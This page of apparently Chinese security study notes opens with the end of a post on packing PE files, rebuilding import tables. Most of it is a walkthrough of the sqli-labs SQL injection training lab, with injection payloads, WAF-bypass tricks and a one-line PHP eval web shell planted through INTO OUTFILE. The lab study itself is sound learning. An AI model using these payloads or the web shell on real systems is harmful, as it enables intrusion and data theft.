PIMAGE_IMPORT_DESCRIPTOR newImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(sectionBuff + offset);
//移动到指定区段偏移位置
memcpy(newImportTable, pImportTable, importTableSize);
memset(pImportTable, 0x00, importTableSize);
pImportTable = newImportTable;
//修改datadirectory对应rva
pOptionHeader->DataDirectory[1].VirtualAddress = Foa2Rva((DWORD)newImportTable - (DWORD)fileBuff);

return TRUE;
}

DWORD MyShell::GetImportTableSize()
{
return importTableSize;
}

加密这里有个坑,按dll遍历函数名称填地址的时候,kernel32和kernelbase里有ntdll的函数引用,但是又有同名函数干扰,要想办法将对应dll的API地址填充正确,解决方法是判断导入表名称是否为kernel32或者kernelbase,如果是则多循环一次,多循环的一次dll则加载ntdll;

完成所有内容(包括加密导入表的所有步骤)的加壳项目:

关于加壳dll需要添加一个名字结构数组来传递模块名称,否则GetModuleHandle(0)是进程基址;

( BUG 肯定是有的( 缺陷是支持32位且节区头需要空闲 (

脱壳

脱壳手段于之前基础篇大部分都提及;

此外,esp定律一般是哄骗小学生的,大部分时候都用不到;

但基础篇尚未提及一点,在dump之后的文件虽然是可以查看其源码的,但如果需要动调,是无法实现的;

此时要让dump的程序能运行,则需要修复其导入表,因为此时导入表dump出的是实打实的地址,需要利用地址反找函数符号,重新构建导入表结构;

修复导入表一般用脚本完成,脚本实现思路如上述所示;

阅读全文
SQL注入-sqlilabs

本篇根据sqli-labs展开而来笔记,基于mysql,php的环境;

前置知识:SQL语法,在SQL学习日记中有讲述;

less01~less04

解题一般步骤/思路

  1. 判断是否可注入(单引号/双引号/括号报错)
  2. 判断字段数,使用order by n;
    • order by n 的含义是按照第n个字段排序;
  3. 确定回显字段,使用 union select 1,2,…,n;
    • 联合查找将前面的select联系起来,select 常数 的含义是给查询结果一个临时的列,这个列所有行都是这个常数,一共有表内对象个的行数;
    • 在使用时,往往回显只显示第一行(联合查找前半段),需要将第一行的内容屏蔽掉,如limit,或者使第一行等于一个非法值;
  4. 利用回显的字段查询出数据库,表,字段,以及需要的所有数据;
1
2
3
4
select schema_name from information_schema.schemata  		#找库
select table_name from information_schema.tables where table_schema='' #从库找表
select column_name from information_schema.columns where table_name='' #从表找字段
select * from xxx.xxx #找数据

在找数据时,经常用到以下两个函数:

group_concat()

  • 使此函数括号内的查询结果拼成一行,如图;

group_concat()

concat_ws()

  • 此函数有三个参数,第一个为拼接符,后两个为拼接字段,输出为两个字段的拼接态,如图;

concat_ws

为什么需要使用这两个函数?正如前面所述,回显一般只显示查询的第一行,需要将查到的账号密码拼接而且合并为一行输出,这样才能在回显上观察到需要的全貌;

less05~less06

此类型为:

布尔盲注

回显只会显示查询结果正确或是错误,不会回显出查询的内容;

使用以下函数以进行对字符串的操作:

left()

其中有两个参数,第一个为字符串,第二个为长度,作用为从左截取长度个字符串内的字符;

例如以下内容:

1
left(database(),4);				#截取当前数据库名的前4个字符

由此可以对截取内容进行比较:

1
select left(database(),1)='s';			#正确返回1,错误返回0

由此来使得获取库名的目的;

substr()

三个参数,第一个为字符串,第二个为起始位置,第三个为截取长度,例如substr(a,b,c),作用为截取a字符串,从b位置开始,截取c位长度;

ascii()

将输入的字符转为其ascii值;

使用以上函数便可完成对字符的判断,从而得到库名,一般不会直接使用等于多少多少字符,而是每个字符转为ascii后采用二分法判断其是哪个字符;

当然也可用BP抓包,暴力破解,具体步骤为抓包->转发测试器(Intruder)->添加变量位置->选择暴力破解->规定字符集以及长度->选择进程数->开始;

测出的发包观察其长度变化,找到独异个体,查看其响应包内是否为正确回显即可;

之后便根据此方法依次判断库名,表名,字段名,以及账号密码;

less07

一句话木马

由于才疏识浅,能找到的内容如下,会有不严谨和错误的地方:

php版本:

1
<?php @eval($_POST['pass']);?>

上传到目的网址后,使用中国菜刀打开其路径并加上pass变量,即可查看其所有数据;

其含义为 <?php ?> 是html将此包裹里的内容作为php语句执行;

艾特符号取消报错,eval函数将输入的字符串作为命令执行;

$_POST变量是全局的php变量,也是一个数组,括号内的pass则是其下标,对应pass变量,译作将post发送的内容转给pass变量;

整句话的意思是:将post的内容作为指令在服务器上执行;

中国菜刀的原理简单理解为窗口化的post输入指令,每点一下都是在对服务器post指令;

into outfile

写文件关键字,用法:

1
select a,b,c into outfile 'path\\1.txt';

load_file()

读文件,直接跟在select后面作为查询内容,参数为文件路径;

解法也如同之前所述,先判断注入点,之后用 into outfile 将一句话木马作为字符串写入目标文件内,之后便可用中国菜刀访问web shell;

less08~less10

if()

类似三目运算,三个参数,第一个为条件,第二个为真时返回值,第三个为假时返回值;

if函数一般与sleep函数一起使用,sleep函数的参数单位为秒,构成时间盲注的句子;

时间盲注

当回显内容为空时,此时可以采用时间盲注的方法;

回显为空时如何判断注入漏洞?在可能出现漏洞的地方加入sleep函数来测试,是否响应时间变动;

布尔盲注是根据回显判断内容是否正确,那么时间盲注即是根据响应时间来判断是否正确,如下面一段话:

1
select if(length(database())=7,1,sleep(5))

当前数据库名长度为7时返回1,否则睡眠5秒,在where中加入此条件的话,会导致判断时网页的响应时间发生变化,由此进行判断;

由此方法与布尔盲注类似,不断去判断库名,表名,字段名,拿到数据;

也可以用sqlmap脚本自动爆破,以及bp;

此方法的开销较大,一般不选用;

less11~less16

POST注入

比起get注入,需要注意的点为参数名称需要用bp抓包来获取,之后使用hackbar的post方法发包,且注释符需要使用 # ,–+ 一般用于url中;

获取到注入点也同之前一样,之后,可使用 or 1=1 来永真返回;

查找表和数据的步骤如之前一样进行;

盲注步骤也一样;

less17

报错注入

核心函数:

updatexml()

三个参数,第一个为XML文档对象的名称,第二个为Xpath格式的字符串,第三个为替换数据;

作用为改变文档中符合条件的节点;

extractvalue()

两个参数,用法同上函数,第一个参数为对象名,第二个为Xpath格式的字符串;

而在报错注入中,concat函数返回的类型时一个字符串,不符合xpath的格式,所以会报错,并给出这个字符串的内容,从而获取信息;

如下:

1
mysql> select * from users where updatexml(1,concat(0x7e,database(),0x7e),1);

会导致其报错而显示database的内容:

xpath error

这个方法有什么用?

高效:对于无回显可以这么用,直接拿名称;

防止过滤关键词,比如不让用union select了怎么查呢?

less18~less22

http头注入

当发包信息参与了sql语句时,可以利用http头进行注入(如回显有这些内容时,可以猜测);

一般是将useragent,或者ip,或者等等的头信息作为参数加入sql语言中;

思路是使用bp重构这些参数,使其在sql语句中时产生注入漏洞;

注意:不要打乱这些参数序列!!!(构造闭合

cookie注入如法炮制,cookie的发包一般在原包的后面一个包,里面包含了cookie字段;

对于base64编码的内容,也需要将构造的payload进行base64编码然后发包;

例如:

18关登录成功的情况下是会回显useragent的:

feedback

利用bp的重发器,在useragent的地方使用单引号判断出有注入漏洞,则可在这个位置进行payload构造:

repeat

注意根据语法错误构造闭合:

原内容为注入点后面还有两个字符串,并且有个括号,那么构造payload应该为:

1
2
3
' payload,'','') #
或者
' payload or '1' = 1'

之后如法炮制拿数据;

至此,基础篇结束;

less23

当 –+ 或者 # 被注释掉时,可以试用如下内容:

1
;%00

我的理解是单引号分割语句,%00为url编码中的空字符对后面的内容进行截断,导致sql语言能正常执行;

也可以构造常规语句来闭合引号;

SQL语句执行顺序

在where附加条件时,如果order by 后面还有跟 and or 一类的连接符,order by 会被忽略掉;

less24

二次注入

注入时,特殊字符被转义无法导致注入,只有将转义后的内容存入数据库,之后引用这个数据时发生注入漏洞,称二次注入;

例子:在注册用户时,给已有用户名后面加 ‘# 符号,致使 user’#被创建,在修改密码时,引用字符应为:

1
UPDATE users SET password='sss' where username='user'#'

此时发生注入漏洞,并将原本的user账户的密码修改了;

less25~less25a

WAF绕过

可分为三类:

  • 白盒绕过

    • 通过获取源码分析的方式进行绕过;
  • 黑盒绕过

    • 架构层面

      ​ 寻找原网站绕过:针对云WAF,云waf的作用类似于拦截网,先通过其进行验证,之后将数据交给原网址,类似CDN;

      ​ 对于CDN:通过超级ping,在不同地区的CDN返回ping值不同的结果;

      ​ 注册,直接转到原网站;

      ​ 通过国外IP地址访问,对于个别网站CDN只针对于国内;

      ​ 通过同网段绕过:一个网段中,经过的数据可能不会经过云WAF,可以先拿到网段中其他主机的权限,对目标交互;

      ​ 对于网段解释:192.168.1.0 ~ 192.168.1.255称为一段 (局域网概念)

    • 资源限制角度

      ​ 一般WAF执行需要优先考虑业务优先原则,对于构造超大的数据包可能不会进行检测,实现绕过;

    • 协议层面

      ​ get型比post型要小,由于业务需求,只对get检测,可通过在post内构造图片后面跟注入语句的方式进行测试;

      ​ 参数污染:index?id=1&id=2 可能只对id=1进行检测;

    • 规则层面

      ​ sql注释符绕过:当不允许使用空格,用/**/来代替空格,或者在注释内添加超长内容;

      ​ 使用内联注释(mysql特有) /*!union select */ 注释内的代码可执行;

      ​ 也可以用括号将关键字分割开;

      ​ 空白符绕过: 对于空格的填充,url编码;

      ​ mysql空白符:%09; %0A; %0B; %0D; %20; %0C; %A0;

      ​ 正则空白符:%09; %0A; %0B; %0D; %20;

      ​ %25编码为%,%25A0则是空白符;

      ​ 函数分隔符号: 将一个函数进行分割,在函数名称后面跟空白符;

      ​ 浮点数词法解释:WAF对id=1可以检测,但对于id=1.0、id=\N、id=1E0可能无法检测;

      ​ 利用error-based进行sql注入;

      ​ mysql特殊语法:例如 select {x name} from {x table};

      ​ 大小写绕过: 如果对 and or union 关键字过滤,可以采用大小写混用的方法,也可使用双写;

      ​ 在过滤大小写混用时,采用OORr的写法,会被过滤为or(中间or消失),则是双写,也可以尝试关键词替换;

  • fuzz测试

    • 使用bp测试,测试成功用脚本处理;

使用报错注入过滤空格可用 ^ 来连接函数,针对and or全面封锁;

less26~less28a

本题通关方式与25大差不差,原理也和WAF绕过有关;

脚本获取空格符替换对应的url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

#循环查找编码
for i in range(0,256):
code = hex(i).replace('0x','')
if(len(code) < 2):
code = '0' + code
code = '%' + code
#构造发送url
url = "http://127.0.0.1/sqli-labs-master/Less-26/?id=1'" + code + "%26%26" + code + "'1'=1'"
#通过回响包中是否返回正确的内容来判断空格正确
r = requests.get(url)
#解码raw
if 'Dumb' in r.content.decode('utf-8','ignore'):
print(code)

这里需要提一下,windows的apache环境对于空格编码有问题,需要docker环境搭建的sqli靶场才能用上述脚本找出合适的编码,不然统统都不能过;

当然也可以用报错注入的方式来获取内容,用括号分割关键字,就不需要空格了;

使用命令:

1
2
docker run -dt --name Dsqli -p 80:80 --rm acgpiano/sqli-labs
docker start ID

用pull建立镜像后,run,之后映射80端口,使用ssh连接时使用的ip和端口访问docker搭建的靶场;

对于where 后面 加括号包裹,会将结果返回为0或1,导致有时候只用引号就能判断出注入点,实际上是误判了,这样只用引号去闭合会出现中间的内容写了也没有作用,只有加括号闭合的方式,才能使得中间的语句成功执行;

less29~less31

服务器两层架构

客户端首先发送请求给tomcat服务器,之后由此服务器转交给apache,响应后返回给tomcat,由tomcat传递给客户端;

客户端访问url传递两个相同参数,tomcat接收第一个,apache接收第二个,第一个使用 getParameter 接收纯数字,第二个用php的get变量接收字符串;

less32~less37

宽字节注入

php和mysql默认编码为GBK,支持两字节编码,函数执行添加的是ASCII编码(单字节);

假如使用单引号注入时,mysql对 id=1' 进行了处理使用斜杠转义 id=1\' ,就无法完成注入;

如果此时在1后面跟 %df 并加上单引号,会让代码部分变成这样的内容: id=1%df\' ;

而斜杠的url编码是 %5c , 此时代码部分原义为 id=1%df%5c' ,%df%5c 会被编码为GBK中宽字节的内容;

此时代码部分是这样的: id=1字' ,由于斜杠被编码带入了,单引号得不到转义,可以完成注入;

第二种方法,将转义单引号的斜杠再转义,构造语句如下:

1
id=1%aa%5c'

%5c是斜杠,因为是和单引号一样的敏感内容,所以同样会添加斜杠转义,此时整句处理后的句子如下:

1
id=1 %aa%5c %5c%5c '   -->    id=1字 \\ '

这样就把转义单引号的斜杠给转义掉了;

addslashes() / mysql_real_escape_string()

里面添加字符串,在字符串内每个敏感字符前添加反斜杠,也是一种起转义的方法;

在post注入时, %df 会被url编码为 %25 df 的raw字段,需要将raw的内容改为%df才能绕过转义,当已知转义的情况下,用正常post无法注入,记得抓包查看raw的内容;

less38~less45

堆叠注入

简单解释,一行两句sql语言,期间用;分号隔开;

其有局限性,第一,在某些环境下,数据库语言只支持一行一句,第二,web前端查询回显问题,一般只回显第一次查询结果;

使用堆叠注入写一句话木马

步骤:

  • 写权限;
  • 一句话木马;
  • 绝对路径;
  • select xxx into outfile xxx;
1
id=1'; select <?php @eval($_POST[pass]); ?> into outfile xxx;

less46~less53

lines terminated by 123

sql关键字,字面意义,在每行后面以 123 进行分割;

用于插入一句话木马,适用于order by 之后注入的情况,没办法使用堆叠注入的情况;

mysqli_multi_query()

使用这个函数可以一行执行多个SQL语句;

至此开启挑战篇;

less54~less75

挑战篇用以上内容都可以解决,就盲注手搓会比较恶心,之后学习sqlmap以及bp的脚本盲注;

补充

遇到select完全封锁的情况,且可使用堆叠,可以使用如下语句查看当前数据库下的内容:

1
2
3
show database;
show tables;
show columns from tableName;

之后使用二次注入的思想,利用已有的select查询语法,改变表名,列名,获取数据;

如下语句:

1
select n || id from users;

当n为数字时,一直回显都为1,当n不为数字,不会回显;

当心注入位置的判断!不一定就在where之后!

阅读全文